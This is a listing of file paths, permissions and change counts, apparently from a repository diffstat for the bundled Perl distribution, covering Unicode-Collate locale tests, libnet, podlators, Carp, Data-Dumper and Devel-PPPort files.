-rw-r--r--gnu/usr.bin/perl/cpan/Time-Local/t/Local.t300
-rw-r--r--gnu/usr.bin/perl/cpan/Time-Piece/t/02core_dst.t15
-rwxr-xr-xgnu/usr.bin/perl/cpan/Time-Piece/t/03compare.t10
-rwxr-xr-xgnu/usr.bin/perl/cpan/Time-Piece/t/07arith.t40
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/Collate/Locale/de_at_ph.pl31
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/Collate/Locale/dsb.pl59
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/Collate/Locale/fr_ca.pl4
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/Collate/Locale/he.pl7
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/Collate/Locale/lkt.pl25
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/Collate/Locale/ug_cyrl.pl7
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/Collate/Locale/vo.pl29
-rwxr-xr-xgnu/usr.bin/perl/cpan/Unicode-Collate/t/cjkrange.t36
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/compatui.t4
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/default.t8
-rwxr-xr-xgnu/usr.bin/perl/cpan/Unicode-Collate/t/hangtype.t4
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_af.t6
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_as.t16
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_az.t34
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_be.t311
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_bg.t300
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_bn.t5
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_bscy.t308
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_ca.t37
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_cs.t25
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_cyrl.t281
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_de.t33
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_deat.t131
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_deph.t64
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_dsb.t137
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_ee.t62
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_eo.t16
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_et.t25
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_fil.t20
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_frca.t53
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_gu.t3
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_ha.t12
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_haw.t22
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_he.t68
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_hi.t8
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_hy.t3
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_ig.t16
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_kk.t353
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_kn.t4
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_kok.t8
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_lkt.t92
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_mk.t330
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_mncy.t208
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_mr.t8
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_or.t3
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_pl.t18
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_ru.t322
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_sa.t8
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_se.t12
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_si.t4
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_sidt.t3
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_sr.t308
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_sw.t2
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_te.t5
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_test.t4
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_ugcy.t194
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_uk.t331
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_vo.t105
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_wo.t14
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_yo.t15
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/nushu.t73
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/overcjk0.t31
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/overcjk1.t18
-rw-r--r--gnu/usr.bin/perl/cpan/Unicode-Collate/t/tangut.t88
-rw-r--r--gnu/usr.bin/perl/cpan/libnet/lib/Net/Cmd.pm29
-rw-r--r--gnu/usr.bin/perl/cpan/libnet/lib/Net/Config.pm20
-rw-r--r--gnu/usr.bin/perl/cpan/libnet/lib/Net/Domain.pm21
-rw-r--r--gnu/usr.bin/perl/cpan/libnet/lib/Net/FTP.pm24
-rw-r--r--gnu/usr.bin/perl/cpan/libnet/lib/Net/FTP/A.pm2
-rw-r--r--gnu/usr.bin/perl/cpan/libnet/lib/Net/FTP/E.pm2
-rw-r--r--gnu/usr.bin/perl/cpan/libnet/lib/Net/FTP/I.pm2
-rw-r--r--gnu/usr.bin/perl/cpan/libnet/lib/Net/FTP/L.pm2
-rw-r--r--gnu/usr.bin/perl/cpan/libnet/lib/Net/FTP/dataconn.pm2
-rw-r--r--gnu/usr.bin/perl/cpan/libnet/lib/Net/NNTP.pm28
-rw-r--r--gnu/usr.bin/perl/cpan/libnet/lib/Net/Netrc.pm20
-rw-r--r--gnu/usr.bin/perl/cpan/libnet/lib/Net/POP3.pm22
-rw-r--r--gnu/usr.bin/perl/cpan/libnet/lib/Net/SMTP.pm32
-rw-r--r--gnu/usr.bin/perl/cpan/libnet/lib/Net/Time.pm20
-rw-r--r--gnu/usr.bin/perl/cpan/libnet/lib/Net/libnetFAQ.pod11
-rw-r--r--gnu/usr.bin/perl/cpan/libnet/t/nntp_ipv6.t1
-rw-r--r--gnu/usr.bin/perl/cpan/libnet/t/pop3_ipv6.t1
-rw-r--r--gnu/usr.bin/perl/cpan/libnet/t/smtp_ipv6.t1
-rw-r--r--gnu/usr.bin/perl/cpan/parent/t/rt62341.t.disabled101
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/basic.cap6
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/basic.clr6
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/basic.man6
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/basic.ovr6
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/basic.pod6
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/basic.txt6
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/agrave12
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/backslash-man-ref10
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/bullet-after-nonbullet25
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/bullets25
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/c-in-header10
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/c-in-name11
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/dollar-magic24
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/error-die27
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/error-none21
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/error-normal24
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/error-pod27
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/error-stderr24
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/error-stderr-opt24
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/eth10
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/fixed-font18
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/fixed-font-in-item29
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/for-blocks33
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/hyphen-in-s14
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/iso-8859-128
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/item-fonts14
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/link-quoting12
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/link-to-url25
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/long-quote16
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/lquote-and-quote17
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/lquote-rquote17
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/markup-in-name11
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/multiline-x14
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/name-guesswork18
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/nested-lists30
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/newlines-in-c14
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/non-ascii12
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/not-bullet15
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/not-numbers30
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/nourls15
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/paired-quotes20
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/periods12
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/quote-escaping12
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/rquote-none16
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/small-caps-magic12
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/soft-hyphens40
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/trailing-space20
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/true-false16
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/uppercase-license24
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/x-whitespace13
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/data/snippets/man/x-whitespace-entry13
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/docs/pod-spelling.t2
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/docs/pod.t2
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/docs/synopsis.t2
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/lib/Test/Podlators.pm41
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/lib/Test/RRA.pm51
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/lib/Test/RRA/Config.pm30
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/lib/Test/RRA/ModuleVersion.pm4
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/man/devise-title.t6
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/man/empty.t80
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/man/iso-8859-1.t25
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/man/snippets.t41
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/style/minimum-version.t2
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/style/module-version.t2
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/style/strict.t8
-rw-r--r--gnu/usr.bin/perl/cpan/podlators/t/text/options.t2
-rw-r--r--gnu/usr.bin/perl/cpan/version/t/04strict_lax.t23
-rw-r--r--gnu/usr.bin/perl/cpan/version/t/11_taint.t24
-rw-r--r--gnu/usr.bin/perl/dist/Carp/Changes48
-rw-r--r--gnu/usr.bin/perl/dist/Carp/t/Carp_overloadless.t15
-rw-r--r--gnu/usr.bin/perl/dist/Carp/t/broken_can.t15
-rw-r--r--gnu/usr.bin/perl/dist/Carp/t/broken_univ_can.t24
-rw-r--r--gnu/usr.bin/perl/dist/Carp/t/stack_after_err.t69
-rw-r--r--gnu/usr.bin/perl/dist/Carp/t/vivify_stash.t12
-rwxr-xr-xgnu/usr.bin/perl/dist/Data-Dumper/t/bugs.t37
-rw-r--r--gnu/usr.bin/perl/dist/Data-Dumper/t/deparse.t22
-rw-r--r--gnu/usr.bin/perl/dist/Data-Dumper/t/indent.t8
-rw-r--r--gnu/usr.bin/perl/dist/Data-Dumper/t/misc.t16
-rwxr-xr-xgnu/usr.bin/perl/dist/Data-Dumper/t/pair.t2
-rw-r--r--gnu/usr.bin/perl/dist/Data-Dumper/t/purity_deepcopy_maxdepth.t17
-rw-r--r--gnu/usr.bin/perl/dist/Data-Dumper/t/terse.t33
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/HACKERS324
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/Makefile.PL154
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/PPPort.xs3
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/PPPort_pm.PL681
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/PPPort_xs.PL128
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/apicheck_c.PL22
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/devel/buildperl.pl606
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/devel/devtools.pl123
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/devel/mkapidoc.sh81
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/devel/mktodo58
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/devel/mktodo.pl374
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/devel/regenerate160
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/devel/scanprov78
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/mktests.PL110
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/module2.c54
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/module3.c71
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/apicheck.pl326
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/apidoc.fnc485
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/500307042
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/500400052
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50040101
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50040201
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50040301
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50040401
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/500405042
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/500500038
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50050101
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50050201
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50050304
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50050401
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5006000293
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/500600117
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50060021
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50070001
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/500700128
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/500700272
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/500700383
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50080008
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/500800131
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50080021
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50080033
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50080041
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50080051
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50080061
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50080071
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50080081
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50080091
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50090006
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50090018
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/500900232
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/500900366
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/500900442
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/500900537
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/501000010
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/501000122
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/501100015
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50110016
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/501100213
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50110031
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50110042
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50110052
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50120001
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50120011
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50120021
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50120031
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50120041
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50120051
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50130002
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50130016
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/501300210
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50130033
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50130041
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50130056
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/501300632
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/501300736
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50130088
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50130091
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50130104
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50130111
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50140002
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50140011
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50140021
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50140031
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50140041
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50150001
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/501500111
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50150021
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50150031
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/501500432
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50150051
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50150062
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50150078
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50150083
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50150095
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50160001
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50160011
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50160021
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50160031
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50170001
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50170011
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50170027
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50170031
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50170045
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50170051
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50170062
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50170077
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50170088
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50170093
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50170101
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50170111
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50180002
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50180011
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50180021
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50180031
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50180041
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50190001
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50190016
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50190022
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50190033
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50190044
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50190051
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50190061
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50190072
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50190081
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50190095
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50190102
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50190111
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50200001
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50200011
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50200021
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50200031
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50210001
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/502100113
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50210023
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50210045
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50210054
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50210063
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/502100711
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50210082
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50210091
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50210102
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50210114
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50220002
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50220011
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50230001
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50230011
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50230021
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50230031
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50230041
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50230051
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50230061
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50230071
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/502300822
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/50230095
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/502400068
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/embed.fnc2956
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/HvNAME38
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/MY_CXT185
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/SvPV534
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/SvREFCNT123
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/Sv_set118
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/call364
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/cop231
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/exception68
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/format63
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/grok670
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/gv141
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/limits326
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/mPUSH131
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/magic613
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/memory85
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/mess518
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/misc786
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/newCONSTSUB104
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/newRV67
-rw-r--r--gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/newSV_type79
